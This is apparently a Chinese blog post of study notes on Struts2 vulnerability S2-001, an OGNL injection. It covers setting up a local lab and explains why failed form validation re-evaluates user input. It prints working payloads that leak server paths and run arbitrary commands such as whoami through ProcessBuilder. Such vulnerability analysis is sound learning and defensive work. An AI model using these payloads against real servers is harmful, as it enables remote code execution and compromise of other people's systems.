Struts2 漏洞系列之S2-001分析

Struts2 漏洞系列之S2-001分析

0x00 前言

最近在学习java的相关漏洞和Struts框架也在学习,所以打算收集Struts2的往期漏洞,到目前为止struts2的漏洞编号已经到了S2-057。此篇仅是学习过程中的笔记。

0x01 环境搭建

第一种:vulhub有此漏洞环境(https://github.com/vulhub/vulhub/blob/master/struts2/s2-001/),我们直接下载:进入https://github.com/vulhub/vulhub点击下载,下载后解压,启动漏洞环境,漏洞复现。(参考文章见最下方)

第二种:从Struts2官方提供的历史版本中找到Struts2.0.1的版本进行下载,
https://archive.apache.org/dist/struts/binaries/
解压缩之后,找到apps/struts2-showcase-2.0.1.war,将其放在我们已经搭建好的servlet容器中,开启web服务器。(Apache Tomcat 9.0)
访问http://127.0.0.1:8080/struts2-showcase-2.0.1,将会跳转到http://127.0.0.1:8080/struts2-showcase-2.0.1/showcase.action。
访问结果如下图,说明安装成功。

1.jpg

0x02 漏洞原理分析

原理:该漏洞因为用户提交表单数据并且验证失败时,后端会将用户之前提交的参数值使用 OGNL 表达式 %{value} 进行解析,然后重新填充到对应的表单数据中。例如注册或登录页面,提交失败后端一般会默认返回之前提交的数据,由于后端使用 %{value} 对提交的数据执行了一次 OGNL 表达式解析,所以可以直接构造 Payload 进行命令执行。

受影响版本:Struts 2.0.0 - Struts 2.0.8

分析:我们首先来了解一下Struts2 中的validation机制。validation依靠validation和workflow两个拦截器。validation会根据配置的xml文件创建一个特殊字段错误列表。而workflow则会根据validation的错误对其进行检测,如果输入有值,将会把用户带回到原先提交表单的页面,并且将值返回。反之,在默认情况下,如果控制器没有得到任何的输入结果但是有validation验证错误。那么用户将会得到一个错误的信息提示。具体可以参考官方文档中validation的说明。
那么这个机制到底和我们的漏洞有什么关系呢?在WebWork 2.1+ 和 Struts 2中存在一个altSyntax的特性,该特性允许用户提交OGNL请求,当用户提交恶意请求表单,故意触发一个validation错误,页面被workflow再次返回给用户的时候,默认情况下相当于返回%{return_value},我们注入的恶意代码,比如%{77}将会被当做%{%{77}}递归执行执行。

0x03 漏洞验证

我们根据系统提供的例子,来做验证。
首先需要关心一个配置项,在validation验证的配置文件中,配置如下:

<validators>
    <field name="name">
        <field-validator type="requiredstring">
            <message>You must enter a name</message>
        </field-validator>
    </field>
    <field name="age">
        <field-validator type="int">
            <param name="min">13</param>
            <param name="max">19</param>
            <message>Only people ages 13 to 19 may take this quiz</message>
        </field-validator>
    </field>
</validators>

这段代码的意思是提交的name字段必须是String类型,否则会提示message节点中的内容。age必须是int类型,并且大小在13到19岁之间。
利用age来故意触发一个错误。然后用name来进行代码注入。

测试:在浏览器中访问:http://127.0.0.1:8080/struts2-showcase-2.0.1/validation/quizBasic.action,然后去提交表单。
name输入:%{7*7}
age:1
下图是在谷歌浏览器打开的,自动翻译成中文了。

2.jpg

3.jpg

注意:“%”符号的用途是在标志的属性为字符串类型时,计算OGNL表达式的值,类似js中的eval
我们可以看到我们提交的name=%{7*7},age=1触发了错误,然后name被解析成了49
尝试获取tomcat路径。

pyload:name=%{"tomcatBinDir{"+@java.lang.System@getProperty("user.dir")+"}"}

结果如下:

4.jpg

获取Web路径:

%{#req=@org.apache.struts2.ServletActionContext@getRequest(),#response=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),#response.println(#req.getRealPath('/')),#response.flush(),#response.close()}

执行结果:

5.jpg

执行任意命令(命令加参数:new java.lang.String[]{"cat","/etc/passwd"}):我的环境是windows,没有passwd文件。

%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"XXX"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}

执行whoami:

%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"whoami"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}

执行结果:

6.jpg

0x04 参考链接

https://cwiki.apache.org/confluence/display/WW/S2-001
https://blog.csdn.net/m0_37688984/article/details/102922747
https://www.cnblogs.com/magic-zero/p/8214034.html
https://struts.apache.org/core-developers/validation.html
https://www.jb51.net/article/124852.htm

标签: none

添加新评论